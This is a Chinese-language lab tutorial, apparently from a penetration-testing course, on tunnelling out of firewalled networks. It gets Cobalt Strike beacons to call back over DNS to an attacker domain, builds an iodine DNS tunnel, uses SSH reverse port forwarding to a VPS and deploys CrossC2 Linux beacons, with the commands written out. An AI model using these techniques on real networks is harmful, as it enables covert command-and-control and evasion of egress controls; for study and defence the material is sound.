目录
SSH&DNS&ICMP&SMB&上线通讯
DNS 隧道上线
DNS 隧道通讯
SSH 隧道通讯
SSH 隧道上线
SSH&DNS&ICMP&SMB&上线通讯
-连接方向:正向&反向(基础课程有讲过)
-内网穿透:解决网络控制上线&网络通讯问题
-隧道技术:解决不出网协议上线的问题(利用出网协议进行封装出网)
-代理技术:解决网络通讯不通的问题(利用跳板机建立节点后续操作)
icmp协议可以通过ping命令判断
SMB 隧道可以通过445 端口是否占用来判断
DNS 隧道可以通过nslookup dig命令来判断
测试ICMP协议过程演示
首先找一个win7,对其防火墙的高级->入站规则进行新建规则
我命名为tcp all
协议是tcp,端口是所有端口
网络是所有网络
此时该靶机是可以ping通百度的
但是没办法访问
因为ping命令的数据走向的icmp命令,如果可以ping通,说明开icmp协议通道,在上一篇文章介绍了就不多说了
DNS解析测试演示
nslookup www.baidu.coom
有同学会问,tcp都封了为什么还可以nslookup 解析DNS呢?
因为DNS在区域传输的时候用的是tcp,域名解析是udp,因此可以nslookup
那为什么不能访问网站呢?
是因为www.baidu.com一开始解析是使用udp,但是打开页面的时候是区域传输使用的是tcp
DNS 隧道上线
用上面第的靶机上线,一般情况下,tcp全部封杀,是无法直接上线的
首先需要一台1服务器
还要有一个域名
现在到解析设置,配置一下域名cs,ns1,ns2
主要的解析顺序是
访问ns1.swq111.online/ns2.swq111.online解析到->cs.swq111.online解析到->服务器ip
接下来配置监听器,具体含义是解析的域名是ns1.swq111.online/ns2.swq111.online,解析到cs.swq111.online,然后还原到ip地址
接下来生成后门
VPS防火墙(安全组)开放DUP端口53,
注意:DNS paylod默认使用53端口,所以一定要把vps的53端口kill掉,端口占用是不会上线的。
查看53端口是否占用,lsof -i:53
靶机运行木马,CS实现上线,会话交互输入mode dns-txt,即可上线
DNS 隧道通讯
可以看上面的图片,外网服务器和内网靶机之间有一个只允许DNS通讯的防火墙,一般情况下只能外网访问外网,外网不能访问内网,如果在此之间配置两个虚拟网卡,就能完成通讯
工具下载
Releases · yarrick/iodine (github.com)
安装教程
执行make命令以编译服务端和客户端二进制文件。运行make install以将二进制文件复制到目标目录。运行make test以编译并运行单元测试。
在bin目录下,有iodine和iodined两个文件,分别为服务端和客户端。
-服务器:设置密码 xiaodi 并创建虚拟 IP 及绑定域名指向
iodined -f -c -P swq123 192.168.0.1 ns1.swq111.online -DD
设置密码 swq123 并创建虚拟 IP 及绑定域名指向
-客户端:连接密码 swq123 并绑定域名指向
iodine -f -M 200 -P swq123 ns1.swq111.online
-尝试通讯尝试连接:
ssh root@192.168.0.2
就可以通讯了(靶机是kali)
SSH 隧道通讯
由于 CS 无 SSH 协议监听器配置,无法上线
由于外网没办法访问内网靶机,只能内网靶机出网进行反向连接
因为防火墙只让ssh协议通过,所有使用linux做跳板机,来将windous的web服务,通过ssh协议转发到外网服务器,实现内网探针
操作
首先在内网win10靶机上开启web服务,可以使用phpstudy,创建一个页面
然后通过内网linux靶机访问,看内网是否通讯
在内网linux靶机上执行下面命令,然后输入外网服务器的ssh的连接密码
ssh -CfNg -R 1234:192.168.23.131:80 root@0.0.0.0
0.0.0.0换成外网服务器的ip
192.168.23.131是内网win10靶机的ip
这个命令的意思是吧内网的web服务通过linux的ssh发到外网服务器的1234端口上
到外网服务器上执行
curl 127.0.0.1:1234
访问内网靶机,成功
SSH 隧道上线
首先要给cs安装插件,因为原生cs只有exe文件,linux上不了
所以要用cs插件上线CrossC2
Releases · gloxec/CrossC2 · GitHub
下载liunx版本的下面三个文件
然后加载刚刚下载的和CrossC2kit下的cna文件
将linux文件上传到vps的cs目录下
CrossC2-GithubBot-2-23-03-27.cna用记事本打开,修改$CC2_PATH和$CC2_BIN路径,改为cs服务端genCrossC2.Linux的路径
回到cs界面上面会多出来crossc2,使用https
配置监听器就行,系统选linux,其他默认就好
然后会在事假日志出现下面字符命令,复制到vps的cs目录下运行
生成.out文件,复制到kali上加权,运行,即可上线